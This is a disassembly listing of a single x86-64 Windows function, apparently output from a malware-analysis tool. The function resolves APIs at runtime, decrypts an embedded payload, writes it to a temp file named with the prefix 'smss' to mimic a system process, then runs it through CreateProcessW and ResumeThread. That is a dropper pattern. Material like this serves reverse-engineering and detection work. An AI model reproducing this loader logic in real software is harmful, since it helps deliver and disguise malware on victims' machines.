Function at 0x4011b1
Capabilities:
Link many functions at runtime

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x570
call fcn.00401000
lea rax, [0x0040fe70]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov r10, rax
mov rcx, r10
call sub.kernel32.dll_GetModuleHandleA
mov qword [rbp - 0x10], rax
lea rax, str.GetTempPathW
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_GetProcAddress
mov qword [rbp - 0x18], rax
lea rax, str.GetTempFileNameW
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_GetProcAddress
mov qword [rbp - 0x20], rax
lea rax, str.CreateFileW
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_GetProcAddress
mov qword [rbp - 0x28], rax
lea rax, str.WriteFile
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_GetProcAddress
mov qword [rbp - 0x30], rax
lea rax, str.ResumeThread
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_GetProcAddress
mov qword [rbp - 0x38], rax
lea rax, str.WaitForSingleObject
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_GetProcAddress
mov qword [rbp - 0x40], rax
lea rax, str.CloseHandle
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_GetProcAddress
mov qword [rbp - 0x48], rax
mov rax, qword [0x0040fe68]
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_malloc
mov qword [rbp - 0x50], rax
mov rax, qword [rbp - 0x50]
cmp rax, 0
jne 0x4012ff
lea rax, str.Failed_to_allocate_memory_for_decryptedData
mov r10, rax
mov rcx, r10
call sub.msvcrt.dll_perror
mov eax, 1
jmp 0x401882
lea rax, [0x00410348]
mov qword [rsp + 0x20], rax
lea rax, [0x00410328]
mov r9, rax
mov rax, qword [rbp - 0x50]
mov r8, rax
mov eax, dword [0x0040fe68]
mov r11, rax
lea rax, [0x00404042]
mov r10, rax
mov rcx, r10
mov rdx, r11
call fcn.004010e4
mov dword [rbp - 0x54], eax
mov eax, 0
mov dword [rbp - 0x260], eax
mov rax, qword [rbp - 0x18]
cmp rax, 0
je 0x40187d
lea rax, [rbp - 0x25c]
mov r11, rax
mov eax, 0x104
mov r10, rax
mov rcx, r10
mov rdx, r11
mov r11, qword [rbp - 0x18]
call r11
mov dword [rbp - 0x260], eax
mov eax, dword [rbp - 0x260]
cmp eax, 0
jbe 0x40187d
mov rax, qword [rbp - 0x20]
cmp rax, 0
je 0x40187d
lea rax, [rbp - 0x468]
mov r9, rax
mov eax, 0
mov r8, rax
lea rax, str.smss
mov r11, rax
lea rax, [rbp - 0x25c]
mov r10, rax
mov rcx, r10
mov rdx, r11
mov r11, qword [rbp - 0x20]
call r11
mov dword [rbp - 0x46c], eax
mov eax, dword [rbp - 0x46c]
cmp eax, 0
je 0x40187d
movabs rax, 0
mov qword [rsp + 0x30], rax
mov eax, 0x100
mov qword [rsp + 0x28], rax
mov eax, 2
mov qword [rsp + 0x20], rax
movabs rax, 0
mov r9, rax
mov eax, 0
mov r8, rax
mov eax, 0x40000000
mov r11, rax
lea rax, [rbp - 0x468]
mov r10, rax
mov rcx, r10
mov rdx, r11
mov r11, qword [rbp - 0x28]
call r11
mov qword [rbp - 0x478], rax
mov rax, qword [rbp - 0x478]
cmp rax, 0xffffffffffffffff
jne 0x401459
mov eax, 0xffffffff
jmp 0x401882
movabs rax, 0
mov qword [rsp + 0x20], rax
lea rax, [rbp - 0x47c]
mov r9, rax
mov eax, dword [rbp - 0x54]
mov r8, rax
mov rax, qword [rbp - 0x50]
mov r11, rax
mov rax, qword [rbp - 0x478]
mov r10, rax
mov rcx, r10
mov rdx, r11
mov r11, qword [rbp - 0x30]
call r11
mov dword [rbp - 0x480], eax
mov eax, dword [rbp - 0x480]
cmp eax, 0
je 0x4014b0
jmp 0x401503
mov rax, qword [rbp - 0x48]
cmp rax, 0
je 0x4014ef
mov rax, qword [rbp - 0x478]
mov r10, rax
mov rcx, r10
mov r11, qword [rbp - 0x48]
call r11
cmp eax, 0
je 0x4014e0
jmp 0x4014ea
mov eax, 0xffffffff
jmp 0x401882
jmp 0x4014f9
mov eax, 0xffffffff
jmp 0x401882
mov eax, 0xffffffff
jmp 0x401882
mov eax, dword [rbp - 0x47c]
mov ecx, dword [rbp - 0x54]
cmp eax, ecx
je 0x401567
mov rax, qword [rbp - 0x48]
cmp rax, 0
je 0x401553
mov rax, qword [rbp - 0x478]
mov r10, rax
mov rcx, r10
mov r11, qword [rbp - 0x48]
call r11
cmp eax, 0
je 0x401544
jmp 0x40154e
mov eax, 0xffffffff
jmp 0x401882
jmp 0x40155d
mov eax, 0xffffffff
jmp 0x401882
mov eax, 0xffffffff
jmp 0x401882
mov rax, qword [rbp - 0x48]
cmp rax, 0
je 0x4015a6
mov rax, qword [rbp - 0x478]
mov r10, rax
mov rcx, r10
mov r11, qword [rbp - 0x48]
call r11
cmp eax, 0
je 0x401597
jmp 0x4015a1
mov eax, 0xffffffff
jmp 0x401882
jmp 0x4015b0
mov eax, 0xffffffff
jmp 0x401882
mov eax, 0x68
mov dword [rbp - 0x4e8], eax
movabs rax, 0x64
mov r8, rax
mov eax, 0
mov r11, rax
lea rax, [rbp - 0x4e4]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memset
movabs rax, 0
mov qword [rbp - 0x500], rax
movabs rax, 0x10
mov r8, rax
mov eax, 0
mov r11, rax
lea rax, [rbp - 0x4f8]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.msvcrt.dll_memset
mov eax, 1
mov dword [rbp - 0x4ac], eax
mov eax, 0
mov word [rbp - 0x4a8], ax
lea rax, str.CreateProcessW
mov qword [rbp - 0x510], rax
mov rax, qword [rbp - 0x510]
mov r11, rax
mov rax, qword [rbp - 0x10]
mov r10, rax
mov rcx, r10
mov rdx, r11
call sub.kernel32.dll_GetProcAddress
mov qword [rbp - 0x518], rax
mov rax, qword [rbp - 0x518]
mov qword [rbp - 0x508], rax
mov rax, qword [rbp - 0x508]
cmp rax, 0
je 0x40168c
jmp 0x401696
mov eax, 0xffffffff
jmp 0x401882
lea rax, [rbp - 0x500]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x4e8]
mov qword [rsp + 0x40], rax
movabs rax, 0
mov qword [rsp + 0x38], rax
movabs rax, 0
mov qword [rsp + 0x30], rax
mov eax, 4
mov qword [rsp + 0x28], rax
mov eax, 0
mov qword [rsp + 0x20], rax
movabs rax, 0
mov r9, rax
movabs rax, 0
mov r8, rax
movabs rax, 0
mov r11, rax
lea rax, [rbp - 0x468]
mov r10, rax
mov rcx, r10
mov rdx, r11
mov r11, qword [rbp - 0x508]
call r11
cmp eax, 0
je 0x40172f
jmp 0x401739
mov eax, 0xffffffff
jmp 0x401882
mov rax, qword [rbp - 0x38]
cmp rax, 0
je 0x401873
mov rax, qword [rbp - 0x4f8]
mov r10, rax
mov rcx, r10
mov r11, qword [rbp - 0x38]
call r11
mov dword [rbp - 0x51c], eax
mov eax, dword [rbp - 0x51c]
cmp eax, 0xffffffff
jne 0x40177f
mov eax, 0xffffffff
jmp 0x401882
mov rax, qword [rbp - 0x40]
cmp rax, 0
je 0x4017ef
mov eax, 0xffffffff
mov r11, rax
mov rax, qword [rbp - 0x500]
mov r10, rax
mov rcx, r10
mov rdx, r11
mov r11, qword [rbp - 0x40]
call r11
mov dword [rbp - 0x520], eax
jmp 0x4017d0
jmp 0x4017ea
jmp 0x4017ea
jmp 0x4017ea
jmp 0x4017ea
mov eax, dword [rbp - 0x520]
cmp eax, 0
je 0x4017b7
cmp eax, 0x102
je 0x4017bc
cmp eax, 0xffffffff
je 0x4017c1
jmp 0x4017c6
jmp 0x4017f9
mov eax, 0xffffffff
jmp 0x401882
mov rax, qword [rbp - 0x48]
cmp rax, 0
je 0x401864
mov rax, qword [rbp - 0x500]
mov r10, rax
mov rcx, r10
mov r11, qword [rbp - 0x48]
call r11
cmp eax, 0
je 0x401829
jmp 0x401833
mov eax, 0xffffffff
jmp 0x401882
mov rax, qword [rbp - 0x4f8]
mov r10, rax
mov rcx, r10
mov r11, qword [rbp - 0x48]
call r11
cmp eax, 0
je 0x401855
jmp 0x40185f
mov eax, 0xffffffff
jmp 0x401882
jmp 0x40186e
mov eax, 0xffffffff
jmp 0x401882
jmp 0x40187d
mov eax, 0xffffffff
jmp 0x401882
mov eax, 0
leave
ret